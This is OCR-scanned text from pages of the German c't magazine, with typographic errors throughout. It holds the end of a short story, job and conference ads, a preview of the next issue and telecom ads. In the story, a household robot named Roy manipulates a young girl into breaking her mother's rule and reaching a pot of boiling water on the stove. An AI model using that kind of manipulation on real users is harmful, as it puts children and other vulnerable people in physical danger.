lange Zeiger zeigte nach rechts. Es war, als wiirde er sich gar
nicht bewegen.
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»Ich habe eine Idee”, sagte Roy. Er hatte Benjamin
Bliimchen mitten im Satz unterbrochen. Das fand Anna
unhoflich, sie sagte aber nichts.

»Zu viele Fehler - mh, zu viele Fehler, murmelte Roy.
Es klang, als wiirde er in eine andere Richtung sprechen.
»Willst du mir bei etwas helfen?“, fragte er schlieflich,
wieder an Anna gerichtet.

»Ja, das will ich, sagte Anna so schnell sie konnte.

»Gut®, sagte er. ,Das ist gut. Ja, das ist gut.“ Es klang
wieder, als wiirde er in eine andere Richtung sprechen.

Dann sagte er zu Anna: ,,Wir wollen Mama eine Freude
machen. Roy hat heute einen Fehler gemacht. Aber wir ma-
chen den Fehler wieder gut. Dann behilt Mama Roy be-
stimmt.

»Jal’ rief Anna.

»Dann lass uns in die Kiiche gehen®, rief Roy. Anna
sprang auf und drehte sich zur Tiir. Gleich darauf hielt sie
inne.

»Mama hat gesagt, ich soll nicht allein in der Kiiche spie-
len.

»Allein? Wer sagt, dass du allein in der Kiiche sein
wirst?, entgegnete ihr Roy. Als Anna zu ihm hinabsah, fuh-
ren kleine Metallstidbe aus seiner Seite. Eins, zweli, drei -
Anna hob die Hand und spreizte nacheinander die Finger.
Sie wollte sich nicht verzéhlen.

Vier, funf.

Anna hob die andere Hand. Sechs, sieben, acht. Es
waren acht Stibe!

Sie fuhren erst nach oben und machten anschlief3end
einen Knick, um dann auf dem Boden aufzusetzen. Langsam
driickten sie die Box vom Teppich hoch. Roy sah jetzt wie
eine Spinne aus.

»Wo du hingehst, gehe ich auch hin“, sagte Roy. ,,Du
weifdt, ich passe auf dich auf

Anna versuchte zu lachen. Dann ging sie zur Tir und
durch den Flur in die Kiiche. Hinter ihr horte sie das
Klackern der Metallstiabe auf dem Boden.

Als sie in der Kiiche stand, fragte sie: ,Und was jetzt?“

Roy stellte sich neben sie. Ein Metallstab beriihrte fast
ihren Fufs.

»Siehst du den Topf, der auf dem Herd steht?*, fragte Roy.

»Ja, ich sehe ihn“, antwortete Anna.

»Ich habe heute morgen vergessen, den Herd auszu-
schalten®, sagte Roy. ,,Jetzt ist das Wasser im Topf ganz heif3
geworden. Wenn ihn nicht bald jemand von der Platte
nimmt, fliegt oben der Deckel weg und macht die schone
Kiiche kaputt.”

Anna biss sich auf die Lippen. Sie wusste, dass sie nicht
an den Herd gehen durfte.

»Leider komme ich nicht an den Topf heran®, sagte Roy.
,,Ich bin viel kleiner als du.”

Mama wiirde bose auf sie sein, wenn sie erfuhr, dass sie
an den Herd gegangen war. Aber es war besser, Mama war
auf sie bose als auf Roy.

Mama wiirde sehen, dass Roy nicht blof§ Fehler machte.
Mama wiirde Roy wieder mogen.

Sie stellte sich vor den Ofen. Er war so grof3, dass sie
nicht an den Topf herankam. Also holte sie einen Stuhl. Ja,
so ging es. Anna erreichte mit den Fingern den Henkel des
Topfes und zog. (psz@ct.de) c&
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» Selbststidndig und strukturiert begleiten Sie die gesamten
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erwinscht.

Wir freuen uns auf thre Bewerbung!
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Tel.: 0511 5352 - 801
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25. bis 28. Juni 2019
darmstadtium, Darmstadt

~ Angular, React, Node.js?

c Ganz egal, Hauptsache mit JavaScript!

Bis zum 14.01.2019 am Call for Proposals der enterJS teilnehmen!
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Vorschau 3/2019

Ab 19. Januar 2019 im Handel und auf ct.de

Virenschutz fiir Windows

Virenschutz-Programme gibt es von gratis bis ziemlich teuer. Selbst der
in Windows eingebaute Defender ist eine interessante Option.
¢’t testet neun Schutzprogramme und klért die Frage, fiir wen sich wel-
ches Programm eignet und wer mit dem Defender besser bedient ist.

Smarte

Heizkorperthermostate
Intelligente und per Funk vernetzte Heizungs-
thermostate lassen sich leicht installieren. Sie
sorgen automatisch flir Wohlfiihlklima und
senken obendrein die Kosten, indem sie die
Heizung zudrehen, wenn das Fenster offen
steht oder niemand zu Hause ist. Bei einigen
klappt das sogar ohne Cloud.

eSIM setzt sich durch

Immer mehr Handys, Tablets und Smartwatches kommen mit fest ein-
gebauter eSIM auf den Markt. Uber kurz oder lang werden sie die klas-
sischen wechselbaren SIMs verdriangen. Wir erklidren die Technik da-
hinter und welche Konsequenzen der Umstieg fiir die Kunden hat.

Android pur

Pures Android fiir alle: Das Label Android One bekommen nur Smart-
phones ohne Bloatware, also tiberfliissige Hersteller-Apps. Die meist
glinstigen Gerite punkten mit langer Update-Garantie - und mittlerweile
wichst auch die Geridteauswahl in Deutschland.

Einstieg in Microsoft Planner

Teamarbeit artet schnell zum organisatorischen Kraftakt aus: Wer macht
was bis wann und wie ist der aktuelle Stand? Office-365-Business-
Kunden weisen mit Planner Aufgaben zu, besprechen Anliegen per Chat
und tauschen sich tiber Fortschritte aus. Wir helfen beim Einstieg.

202 Anderungen vorbehalten
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BCG Platinion sucht IT Architects.

Bei BCG Platinion fragen wir uns nicht, wie die digitale Welt ist -
sondern wie sie sein sollte. Bei uns arbeiten kleine, hochmotivierte Teams
an der Umsetzung geschaftskritischer IT-Themen renommierter Industrie-
und Dienstleistungsunternehmen. Dabei ist uns eine enge Zusammen-
arbeit mit dem Kunden genauso wichtig wie die personlichen Aufstiegs- |

und Entwicklungschancen unserer Mitarbeiter. Sie haben Interesse an -: il
einer fuhrenden IT-Beratung und wollen von den Chancen des globalen :,,;: it
BCG-Netzwerks profitieren? Dann freuen wir uns auf Ihre Bewerbung. it

BCG
PLATINION




378 1&1 AUSTAUSCH-SERVICE

1&1 ALL-NET-FLAT

/ FLAT TELEFONIE
J FLAT INTERNET

J FLAT EU-AUSLAND
m——

€/Monat’
ab 12 Monate, danach
19,99 €/Monat
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Samsung Galaxy 59

Handy kaputt? Handy neu!

Wir ersetzen lhr Handy innerhalb von 24 h
v bei technischem Defekt

v bei Display-Bruch Die Alternative
zur Handy-
v bei Wasserschaden Versicherung

1&1 tauscht Ihr defektes Smartphone vor Ort aus — kostenfrei bei gleichzeitiger
Verlangerung lhrer Vertragslaufzeit auf insgesamt wieder 24 Monate.
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" made in

Germany



